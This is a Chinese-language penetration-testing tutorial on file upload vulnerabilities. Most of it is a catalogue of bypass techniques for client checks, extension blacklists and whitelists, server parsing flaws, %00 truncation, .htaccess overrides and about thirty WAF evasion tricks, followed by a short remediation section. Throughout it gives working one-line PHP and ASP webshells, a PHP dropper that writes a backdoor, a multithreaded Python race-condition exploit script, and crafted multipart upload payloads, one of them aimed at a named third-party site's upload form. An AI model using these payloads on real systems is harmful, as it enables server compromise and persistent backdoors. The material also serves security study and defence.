文件上传漏洞详解
0x01 上传漏洞定义
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果.
0x02 上传漏洞危害
1.上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。
2.上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;
3.上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
4.上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
5.上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本;等等。
0x03 上传漏洞满足条件
首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。
其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
0x04 上传漏洞产生的原因
一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码.
造成文件上传漏洞的原因是:
1.服务器配置不当
2.开源编辑器上传漏洞
3.本地文件上传限制被绕过
4.过滤不严或被绕过
5.文件解析漏洞导致文件执行
6.文件路径截断
0x05 上传漏洞的原理
大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。
当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。
0x06 上传文件检测流程
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:
一般一个文件上传过程中的检测如下图红色标记部分:
- 客户端javascript校验(一般只校验文件的扩展名)
- 服务端校验
- 文件头content-type字段校验(image/gif)
- 文件内容头校验(GIF89a)
- 目录路经检测(检测跟Path参数相关的内容)
- 文件扩展名检测 (检测跟文件 extension 相关的内容)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定)
0x07 上传漏洞绕过
1.客服端绕过
(1)客户端校验:
一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包
(2)绕过方法:
1.通过火狐插件NOscript插件或者禁用IE中JS脚本
2.通过firbug插件元素审核修改代码(如删除onsubm:t=”return checkFile()”事件)
3.通过firbug元素审核javascirpt脚本中添加上传文件类型。
4.通过利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可
注意:这里修改文件名字后,请求头中的Content-Length的值也要改
演示如下:
fidder进行抓包拦截,先上传一句话图片木马如bd2.jpg,然后抓包拦截改成bd2.php
2.服务端绕过
(1)黑名单扩展名绕过
黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。绕过方法:
(1)找黑名单扩展名的漏网之鱼 - 比如 iis6.0中的asa 和 cer
(2)可能存在大小写绕过漏洞 - 比如 aSp(iis6.0中可以) 和 pHp(只能在小于php5.3.39中的linux中) 之中
(3)能被WEB容器解析的文件其他扩展名列表:
jsp, jspx ,jspf
asp asa cer cdx,htr,xml,html
aspx,ashx,asmx,asax,ascx
演示:php中的大小写解析只能在linux 环境才能执行:
这里不允许上传php那么可以上传大小写Php
(2)黑名单特殊后缀名绕过(利用难度高)
将Burpsuite截获的数据包中backlion.php名字改为baclion.php4(php1,php2,php3,php4,php5),前提条件是http.conf中设置 AddType application/x-httpd-php .php1(php的版本小于等于5.3.29以下)
(3)配合操作系统文件命名规则绕过
在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过
(a).上传不符合windows文件命名规则的文件名, 会被windows系统自动去掉不符合规则符号后面的内容:
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
(b). linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名(前提条件是php版本小于等于5.3.29版本)
(4)单双重后缀名绕过
上传时将Burpsuite截的数据包中文件名backlion.php(backlion.asa)改为backlion.pphphph(backlion.asasaa),那么过滤了第一个"php"字符串"后,开头的'p'和结尾的'hp'就组合又形成了php
(5)服务端MIME文件类型(Content-Type)绕过
MIME的作用:
使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类,它是服务器用来判断浏览器传递文件格式的重要标记项。
常用的文件上传类型的MIME表:
text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
application/(编程语言) 该种语言的代码
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表单)
multipart/form-data(POST提交时伴随文件上传的表单)
绕过方法:
上传对文件类型做了限制,可通过burpsuit将其他类文件类型修改为如:Content-Type:image/gif和image/jpeg等运行的文件类型
(6)配合文件包含漏洞绕过
绕过方式一:运行上传文件包含脚本木马和一句话内容马
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
(a)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
(b)然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:inclde page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>
方式二:存在本地文件包含漏洞,并可上传一句话内容马
上传一个符合条件格式的文档,文档内容为一句话木马,eg:test.txt
利用文件包含漏洞包含上传的木马文件,eg:page?id=D:/www/test.txt
(7)修改 url 的参数绕过
谷歌关键字:inurl:newslist.asp?NodeCode=
将/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath中的参数uptext的值改为form1.PicPath.asp即可绕过。
可以看出对参数 PicPath 进行了修改,这种漏洞主要是存在文件名或者路径过滤不严,在实战中多多观察 url 中的参数,可以尝试进行修改数据
(8)双重文件上传绕过
通过保存以下代码为1.html修改上传:
<form action="http://edu2b.sinaapp.com/Upfile_AdPic.asp" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>
//在第一个框内选择一个 jpg 图片,文件名为“yueyan.jpg”,在第
二个框内选择一个 cer 文件,文件名为“yueyan.cer”,点“上传”把这两个文件提交给程序即可。
3.白名单绕过:
(1)配合Web容器的解析漏洞:
IIS中的目录解析漏洞和分号解析漏洞: 将一句话木马的文件名backlion.php,改成backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先,服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单规则,即可上传。
nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行
apache的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的
(2)%00截断上传绕过
通过抓包截断将backlion.asp.jpg后面的一个.换成%00在上传的时候即backlion.asp%00.jpg,当文件系统读到%00时,会认为文件已经结束,从而将backlion.asp.jpg的内容写入到backlion.asp中,从而达到攻击的目的。%00不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截断上传漏洞,上传格式如下:
bk.asp %00.jpg
路径/updata/bk.asp(0x00).jpg
(4)突破文件路径绕过
在文件上传时,程序通常允许用户将文件放到指定的目录中,如果指定的目录存在,就将文件写入目录中,不存在的话则先建立目录,然后写入。比如:在前端的HTML代码中,有一个隐藏标签<input type="hidden" name="Extension" value="up"/> 在服务器端有如下代码 if(!is_dir($Extension)){ //如果文件夹不存在,就建立文件夹
mkdir($Extension);
}
攻击者可以利用工具将表单中value的值由“up”改为“pentest.asp”,并上传一句话图片木马文件。程序在接收到文件后,对目录判断,如果服务器不存在pentest.asp目录,将会建立此目录,然后再将图片一句话密码文件写入pentest.asp目录,如果Web容器为IIS 6.0,那么网页木马会被解析
以下目录位置修改绕过几种形式:
upload/1.asp%00.jpg #asp中的修改目录位置%00的拦截
bk.jpg #post提交一句话图片马或者其他白名单为一句话木马
------->upload/1.asp%00.jpg/bk.jpg #最终生成的文件访问路径
--------------------------------------------------------------------------
upload/bk.asp/ # windows2003 iis6.0中目录路径后添加一个bk.asp的目录
bk.jpg #post上传的文件类型为一句话图片马
----->upload/bk.asp/aaabbk.jpg #最终的URL访问路径
----------------------------------------------------------------------------
upload/bk.asp; # windows2003 iis6.0中目录路径后添加一个bk.asp;的目录
bk.jpg #post上传的文件类型将bk.jpg一句话图片马
----->upload/bk.asp;14127900008.asp ##最终的URL访问路径
这里以动网6.0为例,先上传一个正常的图片,会生成如:files/201210010321944973.jpg文件。第一种突破方法:先上传一句话图片马如1.jpg,然后拦截将其 FilePath 值改为“files/backlion.asp□
最终生成:“files/backlion.asp□/201210010321944973.jpg,实际就是files/backlion.asp
第二种突破:先上传一句话图片马如1.jpg,然后拦截将其 FilePath 值改为“backlion.asp;最终生成:“backlion.asp;201210010321944973.jpg
(5).htaccess 文件重写绕过
配合黑名单列表绕过,上传一个自定义的.htaccess和一句话图片木马,就可以轻松绕过各种检测,该文件仅在Apache平台上存在,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。
.htaccess 文件的写法:
<FilesMatch "backlion.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有” backlion.jpg”字符串的任意文件,统一被当作php执行。如果这个” backlion.jpg”的内容是一句话木马,即可利用中国菜刀进行连接
前提条件是:大于等于php版本5.3.39以下
(6)文件头内容检测绕过
文件头简介
不同的图片文件都有不同文件头,如:
PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)
GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61
上传文件的时候会检查上传文件是否合法,如图片文件是否文件头含有gif89,这里可以通过一句话图片木马生成工具edjpgcom或者通过编辑器 在木马内容基础上再加了一些文件信息,有点像下面的结构:
GIF89a
<?php phpinfo(); ?>
如果是其他类型的二进制文件,也有响应的头字节,如下表:
格式 |
文件头 |
TIFF (tif) |
49492A00 |
Windows Bitmap (bmp) |
424D |
CAD (dwg) |
41433130 |
Adobe Photoshop (psd) |
38425053 |
Rich Text Format (rtf) |
7B5C727466 |
MS Word/Excel (xls.or.doc) |
D0CF11E0 |
MS Access (mdb) |
5374616E64617264204A |
ZIP Archive (zip), |
504B0304 |
RAR Archive (rar), |
52617221 |
Wave (wav), |
57415645 |
AVI (avi), |
41564920 |
Real Media (rm), |
2E524D46 |
MPEG (mpg), |
000001BA |
MPEG (mpg), |
000001B3 |
Quicktime (mov), |
6D6F6F76 |
Adobe Acrobat (pdf), |
255044462D312E |
Windows Media (asf), |
3026B2758E66CF11 |
MIDI (mid), |
4D546864 |
4.条件竞争上传绕过
演示代码:
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:
bk.php:
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:
import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = " http://10.0.0.56 /bk.php"
self.uploadUrl = " http://10.0.0.56/index.html"
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)
def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == "__main__":
threads = 20
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
经过几次尝试后成功成功写入shell
5.CMS、编辑器漏洞绕过
CMS漏洞:针对不同CMS存在的上传漏洞进行绕过。
编辑器漏洞:比如FCK,Ewebeditor等,可以针对编辑器的漏洞进行绕过。
6.对渲染/加载测试攻击内容检查绕过绕过
通过向图片中加入代码注入,这里一般为 一句话图片木马,可能正常访问图片
0x08 带waf的文件上传绕过
1.上传文件WAF检查的位置
文件名:解析文件名,判断是否在黑名单内。
文件内容:解析文件内容,判断是否为webshell
文件目录权限
请求的url
Boundary边界
MIME文件类型
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。
2.文件上传存在的上传特征
http请求Header头部中的Content-Type存在以下特征:
multipart/form-data:表示该请求是一个文件上传请求
存在boundary字符串:作用为分隔符,以区分POST数据
POST的内容存在以下特征:
Content-Disposition
name
filename
POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后
标识结束的boundary
最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的
boundary删掉也能成功上传)
3.绕过WAF文件上传的方法
(1)填充垃圾数据绕过
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;'
Content-Type类型数据后添加垃圾数据:
Content-Type: image/jpeg
a=11111111111111111111111111111111111111111111111111111111
GIF89a
<?php
phpinfo();
?>
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
------WebKitFormBoundaryYijPw9QB0WlswSL2
a=11111111111111111111111111111111111111111111111111111111111111111111111111
Content-Disposition: form-data; name="file_x"; filename="bk.jpg"
Content-Type: image/jpeg
Content-Disposition:后添加垃圾数据:
可以将垃圾数据加到Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
Content-Disposition:a=11111111111111111111111111111111111111111111111111111 form-data; name="upfile"; filename="bk.jpg"
(2)filename绕过
添加一个finame参数:
针对早期版本安全狗,可以多加一个filename
在一个Content-Disposition 中,存在多个filename ,协议解析应该使用最后的filename值作为文件名。如果WAF解析到filename="bk.jpg"认为解析到文件名,结束解析,将导致被绕过。因为后端容器解析到的文件名是bk.asp
Content-Disposition: form-data; name="file1";
finame="bk.jpg";filename="bk.asp"
调换filename的位置(filename在content-type下面):
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面
将Content-Disposition: form-data; name="file1"; filename= "bk.php"改为:
Content-Disposition: form-data; filename= "bk.php";name=file1
在filename=后面添加空格,截止到2017年10月04日还能绕过某盾WAF:
Content-Disposition: form-data; name="file1"; filename= "bk.php"
form-data字段与name字段交换位置:
Content-Disposition: name="file1";form-data;filename= "bk.php"
(3)POST/GET的更改方法绕过
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET
(4)删除实体里面的Conten-Type字段绕过
第一种删除Content整行:
Content-Disposition: form-data; name="upfile"; filename="bk.php"
第二种删除C后面的字符:
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
正常包:
Content-Disposition: form-data; name="upfile"; filename="bk.jpg"
Content-Type: image/jpeg
构造包:
Content-Disposition: form-data; name="upfile"; filename="bk.jpg C.php"
(5)删除Content-Disposition字段里的空格绕过
Content-Disposition:form-data; name="upfile"; filename="bk.php"
Content-Type: image/jpeg
(6)增加一个空格绕过安全狗(Win2k3 + IIS6.0 + ASP)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI8GYlViOBTBCYZA3
尝试在boundary后面加个空格或者其他可被正常处理的字符:
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryI8GYlViOBTBCYZA3
(7)修改Content-Disposition字段值的大小写绕过
对这三个固定的字符串进行大小写转换:Content-Disposition,name,filename
比如name转换成Name,Content-Disposition转换成content-disposition。两年前,拿它绕过安全狗的上传,不知道现在如何。
Content-Disposition: form-data; name="upfile"; filename="bk.php"
改成
Content-Disposition: form-data; nAme="upfile"; filename="bk.php"
(8)Boundary边界不一致( win2003+iis6.0+asp)绕过
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI8GYlViOBTAAAAA3
Content-Length: 253
----------------------------- WebKitFormBoundaryI8GYlViOBTBCYZA3
Content-Disposition: form-data; name="file1"; filename="bk.asp"
Content-Type: application/octet-stream
<%eval request("cmd")%>
----------------------------- WebKitFormBoundaryI8GYlViOBTBCYZA3
(9)文件扩展名出回车绕过(只支持php)
Content-Disposition: form-data; nAme="upfile"; filename="bk.ph
p"
Content-Type: image/jpeg
或者
Content-Disposition: form-data; nAme="upfile"; file
name="bk.ph
p"
Content-Type: image/jpeg
又或者
Content-Disposition: form-data; nAme="upfile"; fi
lename="bk.php"
Content-Type: image/jpeg
(10)多个Content-Disposition(Win2k8 + IIS7.0 + PHP)绕过
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把paylaod放在后面的文件PART,即可绕过
Content-Disposition: form-data; name="file1"; filename="bk.php"
Content-Disposition: form-data; name="file1"; filename="bk.jpg"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
或者这样:
Content-Disposition: form-data; name="file";filename="shell.jpg"
Content-Type: image/jpg
<?php eval($_GET['c'])?>
------WebKitFormBoundaryx7V4AhipWn8ig52y
Content-Disposition: form-data; name="file";filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_GET['c'])?>
(11)利用NTFS ADS特性绕过
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。以下扩展名可能绕过WAF:
(12)文件重命名绕过
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
Content-Disposition: form-data; name="file1"; filename="bk................................................................................................................................................................................................................................asp"大概几百个点
(13)特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
Content-Disposition: form-data; name="file1"; filename="bk.asp;媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼.jpg"
Content-Type: image/jpeg
(14)反删除绕过
将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)
Content-Disposition: form-data; name="file4"; filename="bk.asp"
(15)Windows特殊字符(Win2k8 + IIS7.0 + PHP)
当我们上传一个文件的filename为shell.php{%80-%99}时可绕过WAF:
Content-Disposition: form-data; name="file1"; filename="bk.php{%80-%99}"(asp和php都支持)
(16)exee扩展名绕过
上传.exe文件通常会被waf拦截,如果使用各种特性无用的话,那么可以把扩展名改为.exee再进行上传。
Content-Disposition: form-data; name="file4"; filename="bk.exee"
(17)去掉引号绕过
将Content-Disposition: form-data; name="upfile"; filename="bk.jp值改为:
Content-Disposition: form-data; name=upfile; filename="bk.php" #name值双引号去掉
Content-Disposition: form-data; name=upfile; filename=bk.php
#name和filename的值双引号去掉
Content-Disposition: form-data; name="upfile"; filename=bk.php
#finame的值双引号去掉
双引号变成单引号:
将Content-Disposition: form-data; name="upfile"; filename="bk.jp值改为:
Content-Disposition: form-data; name='upfile'; filename='bk.php'
(18)删除Content-Disposition值的form-data绕过
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。两年前,拿它绕过安全狗的上传,不知道现在如何。
Content-Disposition: form-data; name="file1"; filename= "bk.php"改为:
Content-Disposition: name="file1"; filename= "bk.php"
(19)多个分号绕过
当WAF遇到name="myfile";;时,认为没有解析到filename。而后端容器继续解析到的文件名是bk.php,导致WAF被绕过。
将Content-Disposition: form-data; name="upfile"; filename="bk.php "
Content-Disposition: form-data; name="upfile";;; filename="bk.php "
(20)在boundary前添加任意字符(只支持php)
将Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
改为:
Content-Type: multipart/form-data; bypasssboundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
(21)name和filename添加任意字符串(长度大于等于508)
将Content-Disposition: form-data; name="file"; filename="bk.jpg"
改为:
Content-Disposition:form-data;name="file";_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_......;filename="backlion.php"
Content-Type: image/png
<?php phpinfo();?>
(22)head头的content-type:tab绕过
将
Content-Type:multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
改成:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
(23)head头的content-type: multipart/form-data改成大写绕过
将Content-Type:multipart/form-data;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
改成:
Content-Type:multipart/form-DATA;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
(24)head头的Content-Type: multipart/form-data;\n绕过
将
Content-Type:multipart/form-data;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
改成(multipart/form-data;\n):
Content-Type:multipart/form-data;
boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
(25)content-disposition:\n绕过
将Content-Disposition: form-data; name="upfile"; filename="bk.jpg"
改成(Content-Disposition: \n):
Content-Disposition:
form-data; name="upfile"; filename="bk.jpg"
或者nam=\n:
Content-Disposition: form-data; name=
"upfile"; filename="bk.jpg"
(26)特殊扩展名绕过
multipart协议中,文件名的形式为filename="bk.php”。但是Tomcat、PHP等容器解析协议时会做一些兼容,能正确解析 filename="bk.php”,filename=abc.php”, filename='abc.php’而WAF只按照协议标准去解析,无法解析文件名,但是后端容器能正确获得文件名,从而导致被绕过。
将Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php"
改成(bk.jpg.\nphp):
Content-Disposition: form-data; name="upfile"; filename="bk.jpg.
php"
尝试长文件名:
将Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php"
改成:
Content-Disposition: form-data; name="upfile"; filename="bkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk.php"
文件名中插入特殊符号:分号 空格 单引号
将Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php"
分别改成:
Content-Disposition: form-data; name="upfile"; filename="ba;cklion.php"
Content-Disposition: form-data; name="upfile"; filename="ba cklion.php"
Content-Disposition: form-data; name="upfile"; filename="ba'cklion.php"
(27)ASCII > 127的字符
将Content-Disposition: form-data; name="file_x"; filename="bk.asp; jpg"
Content-Type: image/jpeg
将%00的ascii的20改成af即可
(28)程序与服务器之间的差异
将Content-Disposition: form-data; name="file_x"; filename="bk.jpg"
改为:
Content-Disposition: form-data2222222; name="file_x"; filename=bk.jpg
(29)利用协议解析不一致绕过
将Content-Disposition: form-data; name="file_x"; filename="bk.jpg"
改为:
Content-Disposition: form-data; name="file"; filename="bk.jpg
sf/shell.php #这里是回车换行
Content-Disposition: form-data; name="file"; filename='test3.jpg
sf/shell.php #这里是回车换行
0x09 漏洞修复
服务器配置不当:
重新配置好服务器。服务器PUT方法配置不当可参见HTTP请求方法(PUT)
开源编辑器上传漏洞:
若新版编辑器已修复漏洞,请更新编辑器版本。
本地文件上传限制被绕过:
在服务器后端对上传的文件进行过滤。
文件解析漏洞导致文件执行:
文件解析漏洞的修复可参考文件上传。
设置文件上传的目录设置为不可执行
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决